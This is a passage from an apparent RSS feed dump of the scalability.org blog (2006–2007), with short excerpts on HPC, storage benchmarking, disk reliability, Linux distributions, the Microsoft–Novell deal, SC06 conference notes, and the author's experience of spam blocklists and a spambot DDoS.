them run the unit hard and comparing it to others in similar configs. Sadly this is not what happened. Regardless, we decided to take the unit out, play with it, understand the performance little better, then take it out to the test track and crack the throttle wide open. Let it run flat out for a bit. See what it can do. https://blog.scalability.org/2007/03/yet-another-broken-rbl-2/ Mon, 12 Mar 2007 15:05:44 +0000 https://blog.scalability.org/2007/03/yet-another-broken-rbl-2/ with the latest spam surge in progress, admins seem hell-bent on using non-functional methods to fight this. So our legitimate mails get blocked, since we are on particular ISPs. This is nuts. Ok, I am going to lay into the RBLs here. Unless you have evidence that our IPs have been spamming, you should not try to stop mail. Evidence of spamming is, curiously enough, spam traced back to our IP addresses. https://blog.scalability.org/2007/03/quick-update-to-212-wp/ Sun, 04 Mar 2007 16:16:27 +0000 https://blog.scalability.org/2007/03/quick-update-to-212-wp/ No news is good news. No issues, just precautions. This does bring up the issue of security. PHP appears to be quite exploitable. Sure, code in any language can usually be made to do things unexpected if fed unanticipated input, and the input is not correctly scrubbed. Just as a precaution, it looks like running PHP based sites ought to be done in terms of virtual machines without write access to local storage. https://blog.scalability.org/2007/02/and-the-beat-goes-on/ Thu, 01 Mar 2007 02:57:15 +0000 https://blog.scalability.org/2007/02/and-the-beat-goes-on/ Netapp makes good points in their response to the paper on average failure rates. Ignoring the intrinsic marketing in their document, the information in there is invaluable. As indicated before, PT Barnum would be pleased with the vendors of the higher priced product promising, but not delivering, higher reliability. We had noticed this for a while: failure rates are about the same. And in this case, why would you use the more expensive product which promises lower failure rates? https://blog.scalability.org/2007/02/when-you-have-a-great-deal-of-power-but-you-cant-use-it-because-it-is-too-hard-to-use-it/ Sun, 25 Feb 2007 13:43:18 +0000 https://blog.scalability.org/2007/02/when-you-have-a-great-deal-of-power-but-you-cant-use-it-because-it-is-too-hard-to-use-it/ For decades, I have been debating friends and colleagues talking about high performance computing, specifically parallel computing. They doubt that parallel computing techniques will ever go “mainstream”. That is, that there will ever be a large upswing in the number of users of parallel programming techniques and methods, or for that matter codes which use parallel programming effectively. I argue that this will occur, when such usage gets to be “easy”. https://blog.scalability.org/2007/02/fwiw/ Sun, 25 Feb 2007 02:06:36 +0000 https://blog.scalability.org/2007/02/fwiw/ We have been asked to do some benchmarking of CCS systems using a number of codes. I wanted us to do better ports of the codes, so that they get at least performance parity with Linux. There is lots of FUD eminating from the groups about superiority in one aspect or another, and we want to ignore that, fix the bottlenecks, and get good performance on windows. The last time we dealt with something like this was with Solaris 10 (and to a lesser extent, OSX before that). https://blog.scalability.org/2007/02/yuppers/ Sun, 25 Feb 2007 01:32:16 +0000 https://blog.scalability.org/2007/02/yuppers/ Saw this on /.. I heartily agree with the premise. The idea is put up, or, well … ya know … Unfortunately, Microsoft is quite likely to ignore this. Give it no notice. Which is a shame. If they have a claim worth litigating, it is likely that they would be asked if they tried other remedies first, such as asking to have the offending code removed. Here you have a large group of people basically saying “wheres the beef … er … code”? https://blog.scalability.org/2007/02/eloquent-statement/ Sat, 24 Feb 2007 02:47:47 +0000 https://blog.scalability.org/2007/02/eloquent-statement/ From today’s HPCWire. What Professor Snir said for programming HPC also holds true for designing HPC systems and clusters. Anyone can take group of machines and “turn them into a cluster”. Heck, you can even ask your local, neighborhood MCSE to do it for you. And it may work well for some set of problems. But what happens when performance goes into the dirt on a critical code, and you don’t understand why? https://blog.scalability.org/2007/02/sun-utility-computing-for-hpc-and-changes/ Fri, 23 Feb 2007 20:41:37 +0000 https://blog.scalability.org/2007/02/sun-utility-computing-for-hpc-and-changes/ About a year ago, we were exploring working with Sun to resell CPU cycles with application frontend units. We were going to run Linux on their machines. Seems Sun no longer is doing this. A customer asked us to provide dedicated cycles to them, for their app. Sun doesn’t seem to enable this anymore. Moreover, their entire “utility computing” model is based upon non-dedicated Solaris 10. This is unfortunately a non-starter. https://blog.scalability.org/2007/02/this-is-at-least-amusing/ Wed, 21 Feb 2007 13:18:43 +0000 https://blog.scalability.org/2007/02/this-is-at-least-amusing/ So we had the little … I dunno what to call it … fiasco, mebbe? where we were promised a reasonable comparison between a JackRabbit and a Thumper, and did not get it (a reasonable out-of-box comparison, no one I know who promises accurate comparison purposefully de-tunes one platform before comparing). I am not going to dive back into that mess. When we are paid to benchmark, or when we do it on our own, we never, ever start out by ignoring the vendor/authors on what makes it slow/fast. https://blog.scalability.org/2007/02/well-ill-be-darned/ Wed, 21 Feb 2007 03:04:56 +0000 https://blog.scalability.org/2007/02/well-ill-be-darned/ More people are picking up the drive story. I expect to hear rebuttals any time now from the big expensive disk players. FWIW: we have been talking about this for a while. Lots of our partners have observed these things. MTBF is a great way to estimate things. The model appears to be broken, as it is not 5-20% off. But 5-10x off. This is important. If you develop a theory, and it mispredicts something by a significant amount, you have, really, one option for your theory. https://blog.scalability.org/2007/02/that-banging-sound-you-hear-is-my-head-against-the-table/ Wed, 21 Feb 2007 00:46:13 +0000 https://blog.scalability.org/2007/02/that-banging-sound-you-hear-is-my-head-against-the-table/ Names not mentioned to protect the guilty. So I am working on a cluster load. Have everything nicely configured. Do some tests, make sure it takes correctly. I have spent many an hour dealing with some sort of broken process, due to minor changes in seemingly unrelated areas. Usually broken due to badly borked installers that, for better or worse (usually worse) are considered “standard.” This is the N+1th test. We have customers who like installing and re-installing. https://blog.scalability.org/2007/02/disk-reliability-fc-and-scsi-vs-sata/ Sat, 17 Feb 2007 00:59:06 +0000 https://blog.scalability.org/2007/02/disk-reliability-fc-and-scsi-vs-sata/ I have been pointing out for some time that disk manufacturing processes and hardware are pretty much identical across all types of disk. There is nothing of significance different between the hardware in a SCSI, FC, or SATA drive, outside the drive electronics package. One of the side effects of this would be effectively indistinguishable failure rates between the hardware. Of course, all these vendors publish MTBF, and other numbers which are “measured”. https://blog.scalability.org/2007/02/benchmarking-a-jackrabbit/ Tue, 13 Feb 2007 15:58:11 +0000 https://blog.scalability.org/2007/02/benchmarking-a-jackrabbit/ This is a modified version of a previous posting. We agreed to rewrite this post, eliding mention of a report we had taken issue with, and why we had taken issue with it. We will report JackRabbit benchmark data as we have measured it on our original system. Updated benchmark data, run files, and so on will be available from our site as soon as possible. IOzone benchmarks were run and the results plotted. https://blog.scalability.org/2007/02/get-yer-cores-here-fresh-hot-80-of-them/ Mon, 12 Feb 2007 18:18:39 +0000 https://blog.scalability.org/2007/02/get-yer-cores-here-fresh-hot-80-of-them/ Only 1.2TF performance. Ok, I am officially impressed. The immediate questions are a) can anyone actually program it b) how hard do you have to work to feed this monster? Data motion is hard. Very hard. You have fixed sized pipes. You see contention at dual core, and quad, as Clovertown shows, is not appropriate for memory bound codes on fixed/limited width memory pipes. Regardless of those (not so minor) issues, all I can say is “wow” and good job Intel. https://blog.scalability.org/2007/02/linux-and-microsoft-jeremy-allisons-summary-of-the-novell-deal/ Sun, 11 Feb 2007 18:11:52 +0000 https://blog.scalability.org/2007/02/linux-and-microsoft-jeremy-allisons-summary-of-the-novell-deal/ Saw this on /.. Jeremy’s major problem was the patent cross license. My problem was not that. I had indicated that if this were a reasonable deal, then both companies would be talking about expanded capabilities, better interop, and all sorts of things. One company was talking that way. Novell. One company was talking about “unaccounted for balance sheet liabilities”. Also known as FUD. Specifically he articulated: Yeah… he noticed that too. https://blog.scalability.org/2007/02/the-grid-is-dead-long-live-the-er-grid/ Sat, 10 Feb 2007 17:04:46 +0000 https://blog.scalability.org/2007/02/the-grid-is-dead-long-live-the-er-grid/ I saw a post linked from Ken Farmers excellent LinuxHPC.org site. In it the author leads with a title of “Grid computing being doomed.” Ok … Reading further, it seems that the conception of what Grid computing is has morphed a bit. With the rise of the SaaS fad (long term fad, unless it can show real demonstratable ROI for everyday apps) and VC’s pouring money into this willy-nilly, it turns out that “Grid” is no longer fashionable for VCs. https://blog.scalability.org/2007/02/pnp-and-other-trivia/ Thu, 08 Feb 2007 20:46:08 +0000 https://blog.scalability.org/2007/02/pnp-and-other-trivia/ Ok, well, not quite. But apparently the folks over at D-Wave have a quantum computer about to be shown solving a real problem. Talk about accelerated computing … They are somewhat flippant about pointing out that this is an NP problem solver. So if we have some little NP problem, like, I dunno, Ising models in the presence of a magnetic field, this thing ought to be able to solve it. https://blog.scalability.org/2007/02/yet-another-broken-rbl/ Mon, 05 Feb 2007 18:57:06 +0000 https://blog.scalability.org/2007/02/yet-another-broken-rbl/ Yup, as if it should surprise anyone. PBL from Spamhaus.org. Somehow they decided that our mail system is not allowed to send mail. I have grown tired of this. 3 weeks ago we defended against a huge DDoS without using a single RBL. In fact, had we used an RBL, the traffic against that server (they use DNS like records) would have been assumed to be a DDoS on our part against them. https://blog.scalability.org/2007/02/post-202-transmogrified-to-post-209/ Sat, 03 Feb 2007 05:00:00 +0000 https://blog.scalability.org/2007/02/post-202-transmogrified-to-post-209/ post removed, content edited, and put at http://www.scalability.org?p=209 . For information on JackRabbit, see http://jackrabbit.scalableinformatics.com . https://blog.scalability.org/2007/02/business-planning/ Fri, 02 Feb 2007 21:38:46 +0000 https://blog.scalability.org/2007/02/business-planning/ Deepak over at MNDoci links to Guy Kawasaki’s blog. I browsed through it and found this post. Basically it questions whether or not a formally constructed business plan is needed. Ok, this is an oversimplification. The basic idea is that you need to be able to communicate your ideas concisely, to be able to convince others that the ideas have merit, and that you have more than a snowballs chance on a sunny July afternoon in Florida of actually making it work. https://blog.scalability.org/2007/02/demoing-accelerated-computing/ Fri, 02 Feb 2007 21:09:00 +0000 https://blog.scalability.org/2007/02/demoing-accelerated-computing/ So I flew to Eilat, demostrated how a little accelerated computing worked relative to a cluster. What really got to me was how simple a demo it was. The fingers never left the hands, and all that. We ran a HMMer run on the cluster, then a Scalable HMMer run on the identical data set. Then we ran an 8 way cluster run using MPI-HMMer, again, running the same data and options. https://blog.scalability.org/2007/02/jim-gray/ Fri, 02 Feb 2007 03:59:41 +0000 https://blog.scalability.org/2007/02/jim-gray/ Fox News is reporting him missing at sea. He was sailing on the west coast, in the SF Bay area. I hope for the best, though things are not looking good. Jim Gray is one of those few scientists who is a universalist, he has made contributions across a broad spectrum of research. Many scientists pick one sub-field, and hyper-specialize in that, creating esoterica with abandon. Dr. Gray’s contributions are broad based and deep, he appears able to work comfortably in many fields with many researchers. https://blog.scalability.org/2007/01/inversion/ Tue, 30 Jan 2007 06:53:05 +0000 https://blog.scalability.org/2007/01/inversion/ Suppose you had an opportunity to get some applications (open source and otherwise) onto CCS. Which apps would you like to see? I have my own list, but I would like to hear yours. I ask as I know most apps run great on the current mainstream clusters. You know, those myriad of Linux units. What are your major concerns in getting apps on there? Right now there is a defined lack of apps on CCS. https://blog.scalability.org/2007/01/nih-and-aimk-ing-your-way-into-insanity/ Tue, 30 Jan 2007 06:34:32 +0000 https://blog.scalability.org/2007/01/nih-and-aimk-ing-your-way-into-insanity/ There is a tendency in the technical world to be enamored of ones own “stuff” to the exclusion of other “stuff”. In the sense that if you didn’t invent it, it can’t be good. Sometimes it is called NIH for “not invented here” when it pervades a larger group. Make is one such example. Make is an incredibly powerful tool. Insanely powerful, as it is quite simple to use and work with. https://blog.scalability.org/2007/01/commoditization-in-hpc/ Fri, 26 Jan 2007 05:28:18 +0000 https://blog.scalability.org/2007/01/commoditization-in-hpc/ Chris over at the excellent hpcanswers.com site wrote an article for HPCWire entitled “Innovation and Commoditization in HPC”. He makes quite a few points in there, but they have a constant theme. The idea is to do things better than before, drive down your costs, increase the performance, and do this continuously. He sites several examples of this, and postulates others. This is a good article, though I would probably suggest refining some of the points. https://blog.scalability.org/2007/01/congratulations-to-ibm-on-their-22tf-win-at-osc/ Thu, 25 Jan 2007 22:01:40 +0000 https://blog.scalability.org/2007/01/congratulations-to-ibm-on-their-22tf-win-at-osc/ It seems IBM won the OSC procurement with a 22TF system. Oddly enough (really oddly enough), our bid was also 22TF in power. I would like to see the final configuration and pricing. I wonder if our bid somehow contributed to the final IBM configuration (this would be disappointing, but not terribly surprising). https://blog.scalability.org/2007/01/grrrr/ Tue, 23 Jan 2007 23:47:38 +0000 https://blog.scalability.org/2007/01/grrrr/ Let me say this forcefully. Linux is not Redhat. Redhat packages Linux, as do others. They support it as do others. They contribute to it, as do others. They don’t “define” it. Thats what standards bodies are for. LSB. I keep running into all sorts of problems in getting things properly working with hardware or software that has been built around the Redhat == Linux model. Sadly, this does nothing to convince me to use more Redhat. https://blog.scalability.org/2007/01/update-on-eccb06/ Tue, 23 Jan 2007 23:34:55 +0000 https://blog.scalability.org/2007/01/update-on-eccb06/ Well the conference is almost over, but I can’t stay to the end. Lots of very interesting talks and posters. Met a few people I had spoken to in the past. The demo (e.g. from “We Say So”) a few days ago. I wound up not using the VMware instance. There were simply too many headaches in possibly using it (logistical). It is a shame. I will develop the more fully, so it is ready next time. https://blog.scalability.org/2007/01/sadness/ Mon, 22 Jan 2007 20:02:16 +0000 https://blog.scalability.org/2007/01/sadness/ I just read this on the Detroit Free Press after seeing it on Drudge. Ok. I have friends and acquaintances who work there. Just like my friends at Ford. Of whom, many will likely be on the receiving end of a job-ax. So what is state to do? A number of things. First: There is a whole heck-of-a-lot-a talent in Michigan. Huge amounts. Maybe, somehow, someway, if we could, I dunno, stop subsidizing failing industries and focus on, I don’t know, microcapitalizing small startup ideas here … Sort of like a MLSC but done right. https://blog.scalability.org/2007/01/pictures-for-a-portion-of-day-1/ Sun, 21 Jan 2007 12:21:40 +0000 https://blog.scalability.org/2007/01/pictures-for-a-portion-of-day-1/ Are up here. It is very nice here. Using Google Earth it wasn’t too hard to figure out where it was. Download this KML and load it into Google Earth. https://blog.scalability.org/2007/01/at-eccb06-in-eilat/ Sun, 21 Jan 2007 00:39:03 +0000 https://blog.scalability.org/2007/01/at-eccb06-in-eilat/ ECCB06 is starting tomorrow in Eilat. The story of this travel is full of sound and fury. And time. Lots and lots of time. Waiting. And things breaking. Or not working. And did I mention time? I am presenting accelerated informatics demos for AMD at 10:30am monday morning. Should be lots of fun. Ok, being a good little presenter type, I gathered up everything I needed and got it into my carry-on bags for the trip. https://blog.scalability.org/2007/01/some-amazingly-bad-web-sites/ Wed, 17 Jan 2007 18:06:32 +0000 https://blog.scalability.org/2007/01/some-amazingly-bad-web-sites/ No, not a Not-Safe-For-Work variety. I just visited a web site which is used in potential customers purchase processes. They have links on this site. Someone decided that it would be a “Good-Thing”(TM) if they set up these links to launch not one, but 2, yessirree, 2 modal dialog boxes on mouseover events. Yup. Roll over the link, and these two pop right up … … and … you … cannot … use … the … browser … until … you … click … them … which would be just moderately annoying (and a funny but bad design) if it wasn’t for the fact that your mouse is in the middle of a forest of links there. https://blog.scalability.org/2007/01/we-say-so-corporation/ Mon, 15 Jan 2007 03:40:48 +0000 https://blog.scalability.org/2007/01/we-say-so-corporation/ I used to watch a rather funny show on ABC TV named “Dinosaurs” about your typical Jurassic period nuclear family, with large dinosaurs having similar problems to modern day humans. It was quite funny. The father dinosaur worked for “We Say So” corporation. Should give you an idea of what they did, and how they did it. You didn’t have a choice. You had to do what they wanted. The following is a bit of venting. https://blog.scalability.org/2007/01/the-cost-of-monoculture-part-2/ Sun, 14 Jan 2007 17:36:20 +0000 https://blog.scalability.org/2007/01/the-cost-of-monoculture-part-2/ Some customers have binding agreements with specific (pick your favorite TLA) vendors and insist upon buying from only them. They somehow believe they are getting a discount. It is worked into the price. They somehow believe that this saves them money. It doesn’t. It reduces competition for their business. It increases their costs when the technological fit just isn’t there, yet they try to force the issue. So how does decreasing competition and efficiency increase savings? https://blog.scalability.org/2007/01/ddos-jujitsu-or-using-the-ddosers-mass-against-them/ Sun, 14 Jan 2007 15:01:04 +0000 https://blog.scalability.org/2007/01/ddos-jujitsu-or-using-the-ddosers-mass-against-them/ We have been under a DDoS with spambots sending us a few messages per day. Something north of 100k messages per day. I am not concerned about our infrastructure, it was holding up fine. I was more concerned about components that we didn’t have control over, or had no part in designing or building. This begged the question: is there nothing that one can do to defend against a DDoS (email spambot) attack? https://blog.scalability.org/2007/01/the-configuration-strikes-back/ Sat, 13 Jan 2007 20:05:19 +0000 https://blog.scalability.org/2007/01/the-configuration-strikes-back/ The bot attack continues for a third day. We are rejecting, on average, one email per second. At this rate, we will have rejected 31.5 million emails over the course of 1 year. I wonder if the attackers think that DDoS is a good thing, or something valid to do to other net-denizens. Sad. https://blog.scalability.org/2007/01/when-bots-attack/ Fri, 12 Jan 2007 20:43:20 +0000 https://blog.scalability.org/2007/01/when-bots-attack/ We must be famous. We are being distributed bot-attacked by someone/thing. They are trying to knock over our mail system. Some of the bad IPs are here: 67.90.119.98, 195.50.165.22, and 12.154.55.44. Lots of others. For laughs: whois 12.154.55.44 [Querying whois.arin.net] [whois.arin.net] AT&T; WorldNet Services ATT (NET-12-0-0-0-1) 12.0.0.0 - 12.255.255.255 ATT MIS IP-WCS OPERATIONS CTRS ATT-MIS-44-55 (NET-12-154-55-0-1) 12.154.55.0 - 12.154.55.255 # ARIN WHOIS database, last updated 2007-01-11 19:10 # Enter ? for additional hints on searching ARIN's WHOIS database. https://blog.scalability.org/2007/01/phase-transitions/ Wed, 03 Jan 2007 20:47:58 +0000 https://blog.scalability.org/2007/01/phase-transitions/ Usually start with a few small nucleation sites. Create enough of a net savings in energy, and entropy, and whammo, you are starting the rapid, highly nonlinear, often discontinuous traversal of the phase coordinate. Of such things, revolutions are born within computing. It is happening with APUs, it has happened with dual core, and it appears more likely to be happening outside of HPC. Update: R.L. Polk is not that far from us. https://blog.scalability.org/2007/01/disruptive-market-changes/ Wed, 03 Jan 2007 20:33:07 +0000 https://blog.scalability.org/2007/01/disruptive-market-changes/ Sharad Sharma at Orbit Change responded to my criticism with a note of his own. He clarified his context. Quoting him, his original thesis is Fair enough, needs drive innovation. The “must have” phenomenon. Build something that remarkably alters the economics to be strongly positive for customers to acquire and use over their existing technologies, or reduce their pain points so that they can save lots of money due to the secondary effects of workload reduction/automation. https://blog.scalability.org/2007/01/get-your-mpi-hmmer-while-its-hot/ Wed, 03 Jan 2007 05:03:50 +0000 https://blog.scalability.org/2007/01/get-your-mpi-hmmer-while-its-hot/ Short version: MPI-HMMer has been released. See this link for details, and if you want RPMs, go here. https://blog.scalability.org/2007/01/so-many-misinterpretations/ Tue, 02 Jan 2007 15:30:13 +0000 https://blog.scalability.org/2007/01/so-many-misinterpretations/ Often times, things we say or write about are taken slightly (or massively) out of context, repackaged, and written or spoken about in a different manner that subsumes the original context or intent. Even well meaning people do this. It is all part of the process of forming an opinion, specifically an interpretation of events or speech. One might construe a specific person wrote something they did not. Where am I going with this? https://blog.scalability.org/2006/12/the-black-art-of-prediction/ Sun, 31 Dec 2006 15:30:49 +0000 https://blog.scalability.org/2006/12/the-black-art-of-prediction/ As this is the last day of 2006, many pundits are making bold, or in some case, ridiculous, predictions about the future. Some have even made predictions about the past, a bizarre action to be sure, but one that seems to have happened. Prediction is an art. Some times it goes wrong. Badly wrong. Sometimes good companies make bad decisions based upon bad predictions. This is in part why SGI dropped the Beast and Alien in the late 90’s to hop on board the Itanium express. https://blog.scalability.org/2006/12/supposedly-obvious-predictions/ Sun, 31 Dec 2006 04:29:01 +0000 https://blog.scalability.org/2006/12/supposedly-obvious-predictions/ /. linked to some predictions for the next year. Three of them pertain to HPC. Before I get into the three predictions, let me point out that predicting events that have already happened is not generally hard. This is important for the first prediction. He indicates that Itanium is on life support, and that HP is trying to get out of its deal with Intel. Apparantly he is not aware that this appears to have already happened. https://blog.scalability.org/2006/12/software-appliances-rpath/ Wed, 20 Dec 2006 17:57:12 +0000 https://blog.scalability.org/2006/12/software-appliances-rpath/ Now that I have complained aloud about conary, which is the package management bit in rPath, let me praise the idea behind rPath. No, no one prompted me. No nastygrams. My major issue is with Conary, the distribution builder, and the decisions that must have gone into it. Punchline: rPath works, though conary is proving to be more of a pain than RPM, it is even less apparant to me how to build an appliance than I would like it to be, and integrating things we need to integrate in, such as lots of perl modules, lots of other bits, is a non-starter due to the issues in dealing with conary and their distribution build system. https://blog.scalability.org/2006/12/the-many-joys-of-redhat-based-linux-distributions-part-1-filesystems-and-conary/ Tue, 19 Dec 2006 01:57:19 +0000 https://blog.scalability.org/2006/12/the-many-joys-of-redhat-based-linux-distributions-part-1-filesystems-and-conary/ A customer has a JackRabbit. They want to install Scientific Linux 4.4 (SL4.4) on it. Ok. Holding back on the criticism of the positively ancient kernel in RHEL4 derived distributions, its weak NUMA support, and other issues. Lets look at file systems. JackRabbit is a server. A 5U monster that can push tremendous amounts of data around; to disk, from disk, out onto the network. It needs a relatively modern kernel to make best use of its chipsets, which aren’t supported before 2. https://blog.scalability.org/2006/12/legal-shenanigans-or-not/ Wed, 06 Dec 2006 13:47:34 +0000 https://blog.scalability.org/2006/12/legal-shenanigans-or-not/ PJ over at Groklaw.net is often a fun read. Her commentary on the SCO case has been excellent, if not loaded with biting sarcasm and witty humor. I think that this is good, as SCO deserves the derision heaped upon it for lighting off a case that their overlords appear to have asked for, without checking to see whether or not it was real enough to push. In business as in parenting, you have to learn to pick your fights. https://blog.scalability.org/2006/12/on-business-models-and-markets/ Wed, 06 Dec 2006 03:31:32 +0000 https://blog.scalability.org/2006/12/on-business-models-and-markets/ or why is the volume desktop market leader interested in a small market like Supercomputing. I can’t answer that one easily, as the return on their investment will be low. It would behoove any Microsoft shareholder to ask the management team at the annual shareholder meeting why they are going after something so small relative to other more profitable and larger markets. I cannot fathom the business model that they have for this. https://blog.scalability.org/2006/12/the-missing-windows-in-top500/ Wed, 06 Dec 2006 03:10:04 +0000 https://blog.scalability.org/2006/12/the-missing-windows-in-top500/ I read this article about the state of windows machines in the top500 list of “fastest” supercomputers. Remember that Microsoft indicates that it has no interest in the top500, and given its purported strategy, that sounds like it is correct, that they shouldn’t care about “non-mainstream” supercomputers. Since Microsoft appears to want to make supercomputers appear to be simply big PCs that are out of sight, focusing on top500 doesn’t make much sense. https://blog.scalability.org/2006/12/myths-and-hype-first-of-likely-many-articles/ Sun, 03 Dec 2006 16:48:18 +0000 https://blog.scalability.org/2006/12/myths-and-hype-first-of-likely-many-articles/ We have spoken to many customers as of late about storage. Apparantly there is this new high performance physical interconnect akin to the venerable and aging Fibre Channel, SCSI, and other related technologies. Its name? iSCSI. Can you tell whats wrong with this? The customers can’t. And we can blame the marketing hype machines for this situation. iSCSI is new, is quite interesting, and is the right solution for many users. https://blog.scalability.org/2006/11/suse-and-microsoft-as-the-world-turns/ Tue, 28 Nov 2006 15:04:28 +0000 https://blog.scalability.org/2006/11/suse-and-microsoft-as-the-world-turns/ Ok, so the soap opera title may in fact be appropriate. When the deal was first announced, reading over the press release had me thinking that a good convergence was in order. We were seeing Microsoft finally (correctly) decide that working with Linux was a good thing for it. Then the Microsoft execs opened their mouths. What they managed to do is to give ammunition to all the people in the community opposed to such deals, a large, well … no … a huge bolus of things to be concerned about, and further to give them an unfortunately large platform upon which to (correctly) shout that they were in fact right. https://blog.scalability.org/2006/11/sc06-wrap-up-thoughts-on-what-i-did-not-see-or-hear/ Tue, 28 Nov 2006 07:09:32 +0000 https://blog.scalability.org/2006/11/sc06-wrap-up-thoughts-on-what-i-did-not-see-or-hear/ From the last post, you can read some of what I did see and hear. This is about what was missing. Applications: The folks from Microsoft showed off excel running on a cluster. Some of the others showed “trivial” or booth-specific applications. These weren’t real things in most cases, they were smaller “toy” apps or models. Maybe I missed it, but I did not see many applications that demanded supercomputing. https://blog.scalability.org/2006/11/sc06-wrap-up-thoughts-on-what-i-saw-and-heard/ Tue, 28 Nov 2006 06:37:02 +0000 https://blog.scalability.org/2006/11/sc06-wrap-up-thoughts-on-what-i-saw-and-heard/ Well, SC06 is now history. Reno is the next venue. Maybe we will have a bit of a booth then. So what happened, what was extraordinary, what was ordinary? This is kind of hard. Last year, there was so much cool stuff, this year, well, somewhat less cool stuff. The exhibit did not seem as big this year, or as lively. Looked like lots of vendors talking to each other. I had a distinct sense that this was a high tech equivalent of a red light district … Ok… lets be more focused. https://blog.scalability.org/2006/11/sc06-wrapup-summary/ Mon, 27 Nov 2006 18:28:32 +0000 https://blog.scalability.org/2006/11/sc06-wrapup-summary/ Ok, been promising to post this, so I am going to break it up into chunks. I will report on what I saw, what I didn’t see, and what I wanted to see. Will break each of these up into posts on its own for better manageability. https://blog.scalability.org/2006/11/thoughts-about-what-support-is-and-what-it-isnt/ Mon, 27 Nov 2006 17:48:43 +0000 https://blog.scalability.org/2006/11/thoughts-about-what-support-is-and-what-it-isnt/ These thoughts are randomly coursing through my mind as I sit here waiting on the support number for HP. I purchased an HP laptop for business use about 2 years ago, and it has had a few problems. It’s a great unit: AMD64, 1 GB ram, big disk, nVidia graphics. Would love to get something like this again when I buy the next one in about 6-9 months. Most recent issues have been with the lid and the USB ports. https://blog.scalability.org/2006/11/hpcs-has-chosen-and-the-winners-are/ Thu, 23 Nov 2006 01:36:09 +0000 https://blog.scalability.org/2006/11/hpcs-has-chosen-and-the-winners-are/ Cray and IBM. Congratulations to them. HPCS is about making supercomputers more productive for end users. How to leverage tremendous efficiencies, build better languages for faster, better, more accurate development. I was very impressed with Chapel. IBM’s looked like a Java derivative, as verbose and opaque as Java usually is (it is often hard to discern what Java is doing from Java source). Regardless of this, now we can see where this will go. https://blog.scalability.org/2006/11/bandwidth-as-a-natural-limiting-factor-for-technological-evolution/ Tue, 21 Nov 2006 06:09:21 +0000 https://blog.scalability.org/2006/11/bandwidth-as-a-natural-limiting-factor-for-technological-evolution/ Ok, this has been bouncing around in my head for a while now. Been trying to work up something to really describe it correctly in terms of a mathematical model. I have an idea, but too little time to work on it. Here is the hypothesis. Information technologies gradually evolve to a point where their performance is fundamentally limited by their interconnection bandwidth. Recent examples of this are multicore chips. No matter how much bandwidth you throw at something, if you hold that bandwidth, that fixed resource constant, and simply increase the number of cycles available, or if you prefer, the “size” of the resource, then at some point in time you will approach a point where the of resource contention will dominate, and you have to actively work to hide communication behind calculation. https://blog.scalability.org/2006/11/that-didnt-take-long/ Tue, 21 Nov 2006 05:18:22 +0000 https://blog.scalability.org/2006/11/that-didnt-take-long/ The folks at /. have linked to an open letter to the OSS community from Novell. This impacts HPC in that much of HPC is done on Linux, a large and growing fraction if you look at Top500 and other measures. Here is why I thought it was a good thing. Yes. Exactly. Companies … no … customers want interoperability. Moreover, they don’t really like it when their suppliers start suing each other, or them. https://blog.scalability.org/2006/11/and-the-fud-begins-in-earnest-mostly-non-hpc/ Mon, 20 Nov 2006 21:17:33 +0000 https://blog.scalability.org/2006/11/and-the-fud-begins-in-earnest-mostly-non-hpc/ Ok, so color me amused. I knew that it would not take long, and sure enough, the **“independent **bloggers” doing marketing for various organizations have fired their second shot. The first one is the “Linux is too hard” meme that seems to have died the quiet death it deserved. This next one is unfortunately as laughable as it shows a fundamental misunderstanding of something critical. This meme could be called “Open Source is Dangerous”. https://blog.scalability.org/2006/11/must-be-deja-vu/ Sat, 18 Nov 2006 14:40:56 +0000 https://blog.scalability.org/2006/11/must-be-deja-vu/ I haven’t had a chance to do more posts or a wrap up of SC06. I will do this soon. I want to briefly point out this article. And offer a mea culpa. Briefly, I had a discussion with Patrick of the Microsoft team about Microsoft’s goals and vision. You know, if you just remove the CEO’s occasional statements about his competitor being a virus, a cancer, and so on, the vision isn’t bad, and is something that we can work with. https://blog.scalability.org/2006/11/sc06-day-1-photos-are-up/ Wed, 15 Nov 2006 06:32:14 +0000 https://blog.scalability.org/2006/11/sc06-day-1-photos-are-up/ Here. https://blog.scalability.org/2006/11/sc06-day-1-part-3-2/ Wed, 15 Nov 2006 06:10:26 +0000 https://blog.scalability.org/2006/11/sc06-day-1-part-3-2/ Why 3 parts? Well why do two when a third is just 50% more … The universities: are out in force. Excellent stuff. If you get a chance, go by the SUNY Buffalo booth (UB booth) and pick up the MPI-HMMer page. JP and Vipin have worked hard on this code, and they deserve serious kudos it. Many more things to talk about, more tomorrow. With regards to the Microsoft dinner, I do regret missing this. https://blog.scalability.org/2006/11/sc06-day-1-part-2/ Wed, 15 Nov 2006 06:08:30 +0000 https://blog.scalability.org/2006/11/sc06-day-1-part-2/ Why 2 parts? It seems that in posting blogs from hotel rooms, they may somehow limit the amount you can upload to a web site. Not sure why, but it fails to work while here, though it works great elsewhere. The point about making more power open to wider groups of people, and more accessible to larger groups of people is critical. Driving the computing to the desktop, though there was, how shall I put this, spirited discussion, about whether a “cluster under the desktop” made sense, the message is clear. https://blog.scalability.org/2006/11/sc06-day-1-part-1/ Wed, 15 Nov 2006 06:03:58 +0000 https://blog.scalability.org/2006/11/sc06-day-1-part-1/ First off, I missed the very thing I was most looking forward to, in large part due to getting caught up in a great BoF, run by a friend and former colleague. This was my fault, I had fully intended to have dinner with the Microsoft team. My apologies to them and to the other guests. More about this a little later. I am uploading pictures/photos/movies, including about 15 minutes of Ray Kurzweil’s keynote. https://blog.scalability.org/2006/11/more-sc06-blogs/ Tue, 14 Nov 2006 03:28:42 +0000 https://blog.scalability.org/2006/11/more-sc06-blogs/ Doug Eadline and Jeff Layton are blogging at ClusterMonkey. Gala happened, we missed it. Went out to dinner a little ways down the street. Solved the camera issue. I hope. Set up a place for SC06 pictures/movies on the photo site. Hopefully it will be obvious which are SC06 … Going to be there early tomorrow. Will try lots of pictures/movies. https://blog.scalability.org/2006/11/sc06-all-registered/ Mon, 13 Nov 2006 20:26:20 +0000 https://blog.scalability.org/2006/11/sc06-all-registered/ Picked up Jim at the airport, then made our way over. All registered. Saw lots of people already. Had some good conversations. I forgot how energy draining this is. Need to increase caloric intake. That and coffee. Doesn’t seem to be much in the way of coffee shops down here. Need to google about for that. The biggest “loss” from last year were the fleece sweaters. Sure, this is Florida, and we shouldn’t need sweaters … got two mugs. https://blog.scalability.org/2006/11/sc06-begins/ Mon, 13 Nov 2006 13:01:46 +0000 https://blog.scalability.org/2006/11/sc06-begins/ ok, so it is later tonight, officially, at the “Gala” event. The “usual crew” of bloggers will be there, as will lots of friends and colleagues from the past. Someone once told me that Supercomputing is quite 